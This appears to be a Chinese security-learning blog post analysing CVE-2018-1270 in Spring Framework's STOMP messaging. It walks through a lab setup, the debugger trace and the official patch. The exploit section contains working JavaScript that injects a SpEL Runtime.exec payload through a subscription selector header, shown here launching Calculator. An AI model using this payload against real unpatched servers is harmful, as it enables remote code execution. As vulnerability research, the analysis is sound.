Java Web 安全入门第二篇,分析 CVE-2018-1270,个人感觉本质上是 SpEL 表达式的问题。

漏洞详情

该漏洞在2018年4月5日公布,详情参考链接 https://pivotal.io/security/cve-2018-1270

影响版本为:

  1. Spring Framework 5.0 to 5.0.4
  2. Spring Framework 4.3 to 4.3.14
  3. Older unsupported versions are also affected

环境搭建

单纯地想测试该漏洞的可以利用 vulhub 上的 docker https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1270

或者想本地调试的可以利用 github 上的官方项目,checkout 未修复的版本即可调试该漏洞:

git clone https://github.com/spring-guides/gs-messaging-stomp-websocket.git
cd gs-messaging-stomp-websocket
git checkout 6958af

漏洞利用

step1

参考 https://stomp.github.io/stomp-specification-1.0.html ,通过在 header 中指定相关的 selector,可以对订阅的信息进行过滤:

Stomp brokers may support the selector header which allows you to specify an SQL 92 selector on the message headers which acts as a filter for content based routing.

对前端代码修改如下:

function connect() {
    var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        },header);
    });
}

connect();

通过 Intellij 的调试可以看到,该过程最终会触发 spring-messaging 包内 org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry.java 的 addSubscriptionInternal 函数。该函数会对 header 的值进行处理,并保存到该次回话中。

addSubscriptionInternal

可以看到此次会话 sessionId 的值为 lad4rslesubsId 的值为 sub-0expression 保存着传入的 selector 的值:T(java.lang.Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

variables

step2

发送任意消息,此时 spring 在分发消息时会调用 filterSubscriptions 函数对消息进行过滤,在该函数下断点:

filterSubscription

可以看到函数会先取出保存在会话内的 expression,然后利用 expression.getValue(context, Boolean.class) 触发 SpEL 表达式的执行,成功执行之前填入的 payload。

final

这熟悉的计算器

RCE

漏洞修复

官方补丁:https://github.com/spring-projects/spring-framework/commit/e0de9126ed8cf25cf141d3e66420da94e350708a

patch

可以看到官方把能执行任意 SpEL 表达式的 StandardEvaluationContex 换成了 SimpleEvaluationContext,用来实现简单的数据绑定,同时减少安全隐患。

总结

感觉还是 EL 能力过大有没有加以很好限制的问题,个人感觉只要找到这样一个 EL 的执行点作为 sink,而从外部输入的作为 source,则有很大的可能找到相关的漏洞。

参考链接